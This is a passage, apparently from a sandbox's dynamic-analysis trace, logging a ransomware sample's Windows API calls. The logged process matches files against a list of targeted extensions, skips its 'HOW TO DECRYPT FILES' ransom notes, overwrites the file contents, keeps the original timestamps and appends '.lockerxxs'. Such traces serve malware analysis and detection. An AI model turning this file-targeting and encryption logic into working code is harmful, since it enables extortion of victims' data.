halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe9tdx[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.358] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2a77 [0084.358] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x458308d0, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x458308d0, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x458308d0, dwHighDateTime=0x1d2faf3)) returned 1 [0084.358] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.358] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x2a51, lpOverlapped=0x0) returned 1 [0084.360] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg") returned="BBE9tdx[1].jpg" [0084.360] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.360] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2a51, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2a51, lpOverlapped=0x0) returned 1 [0084.360] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.361] CloseHandle (hObject=0xa4) returned 1 [0084.361] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe9tdx[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe9tdx[1].jpg.lockerxxs")) returned 1 [0084.361] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x458a2cf0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x458a2cf0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x458a2cf0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x2fe3, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEdrqt[1].jpg", cAlternateFileName="BBEDRQ~1.JPG")) returned 1 [0084.362] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.362] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEdrqt[1].jpg") returned 1 [0084.362] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEdrqt[1].jpg") returned 1 [0084.362] lstrcmpiA (lpString1="", lpString2="BBEdrqt[1].jpg") returned -1 [0084.362] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg") returned="BBE9tdx[1].jpg" [0084.362] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.362] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.362] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.362] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.362] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBEdrqt[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg" [0084.362] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.ems") returned 0 [0084.362] lstrlenA (lpString="*.ems") returned 5 [0084.362] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.db") returned 0 [0084.362] lstrlenA (lpString="*.db") returned 4 [0084.362] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.dbf") returned 0 [0084.362] lstrlenA (lpString="*.dbf") returned 5 [0084.362] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.myox") returned 0 [0084.363] lstrlenA (lpString="*.myox") returned 6 [0084.363] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.myo") returned 0 [0084.363] lstrlenA (lpString="*.myo") returned 5 [0084.363] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.qbw") returned 0 [0084.363] lstrlenA (lpString="*.qbw") returned 5 [0084.363] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.qbb") returned 0 [0084.363] lstrlenA (lpString="*.qbb") returned 5 [0084.363] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.qbm") returned 0 [0084.363] lstrlenA (lpString="*.qbm") returned 5 [0084.363] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.qbo") returned 0 [0084.363] lstrlenA (lpString="*.qbo") returned 5 [0084.363] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.qbx") returned 0 [0084.363] lstrlenA (lpString="*.qbx") returned 5 [0084.363] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.qba") returned 0 [0084.363] lstrlenA (lpString="*.qba") returned 5 [0084.363] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.qby") returned 0 [0084.363] lstrlenA (lpString="*.qby") returned 5 [0084.363] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.qbj") returned 0 [0084.363] lstrlenA (lpString="*.qbj") returned 5 [0084.363] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.ofx") returned 0 [0084.363] lstrlenA (lpString="*.ofx") returned 5 [0084.364] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.qif") returned 0 [0084.364] lstrlenA (lpString="*.qif") returned 5 [0084.364] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.mye") returned 0 [0084.364] lstrlenA (lpString="*.mye") returned 5 [0084.364] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.mbox") returned 0 [0084.364] lstrlenA (lpString="*.mbox") returned 6 [0084.364] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.eml") returned 0 [0084.364] lstrlenA (lpString="*.eml") returned 5 [0084.364] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.pst") returned 0 [0084.364] lstrlenA (lpString="*.pst") returned 5 [0084.364] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.ost") returned 0 [0084.364] lstrlenA (lpString="*.ost") returned 5 [0084.364] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.idx") returned 0 [0084.364] lstrlenA (lpString="*.idx") returned 5 [0084.364] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.dbx") returned 0 [0084.364] lstrlenA (lpString="*.dbx") returned 5 [0084.364] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.sql") returned 0 [0084.364] lstrlenA (lpString="*.sql") returned 5 [0084.364] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.mdb") returned 0 [0084.364] lstrlenA (lpString="*.mdb") returned 5 [0084.364] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.fdb") returned 0 [0084.364] lstrlenA (lpString="*.fdb") returned 5 [0084.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.wab") returned 0 [0084.365] lstrlenA (lpString="*.wab") returned 5 [0084.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.dat") returned 0 [0084.365] lstrlenA (lpString="*.dat") returned 5 [0084.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.txt") returned 0 [0084.365] lstrlenA (lpString="*.txt") returned 5 [0084.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.jpeg") returned 0 [0084.365] lstrlenA (lpString="*.jpeg") returned 6 [0084.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", pszSpec="*.jpg") returned 1 [0084.365] lstrlenA (lpString="*.jpg") returned 5 [0084.365] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg" [0084.365] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg" [0084.365] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg." [0084.365] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg.lockerxxs" [0084.365] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbedrqt[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.366] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2fe3 [0084.366] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x458a2cf0, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x458a2cf0, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x458a2cf0, dwHighDateTime=0x1d2faf3)) returned 1 [0084.366] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.366] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x2fbd, lpOverlapped=0x0) returned 1 [0084.368] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg") returned="BBEdrqt[1].jpg" [0084.368] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.368] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2fbd, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2fbd, lpOverlapped=0x0) returned 1 [0084.369] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.369] CloseHandle (hObject=0xa4) returned 1 [0084.369] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbedrqt[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbedrqt[1].jpg.lockerxxs")) returned 1 [0084.370] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x459ad690, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x459ad690, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x459ad690, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x857, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEeEwt[1].jpg", cAlternateFileName="BBEEEW~1.JPG")) returned 1 [0084.370] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.370] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEeEwt[1].jpg") returned 1 [0084.370] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEeEwt[1].jpg") returned 1 [0084.370] lstrcmpiA (lpString1="", lpString2="BBEeEwt[1].jpg") returned -1 [0084.370] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg") returned="BBEdrqt[1].jpg" [0084.370] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.370] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.370] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.370] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.370] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBEeEwt[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg" [0084.370] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.ems") returned 0 [0084.371] lstrlenA (lpString="*.ems") returned 5 [0084.371] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.db") returned 0 [0084.371] lstrlenA (lpString="*.db") returned 4 [0084.371] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.dbf") returned 0 [0084.371] lstrlenA (lpString="*.dbf") returned 5 [0084.371] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.myox") returned 0 [0084.371] lstrlenA (lpString="*.myox") returned 6 [0084.371] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.myo") returned 0 [0084.371] lstrlenA (lpString="*.myo") returned 5 [0084.371] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.qbw") returned 0 [0084.371] lstrlenA (lpString="*.qbw") returned 5 [0084.371] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.qbb") returned 0 [0084.371] lstrlenA (lpString="*.qbb") returned 5 [0084.371] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 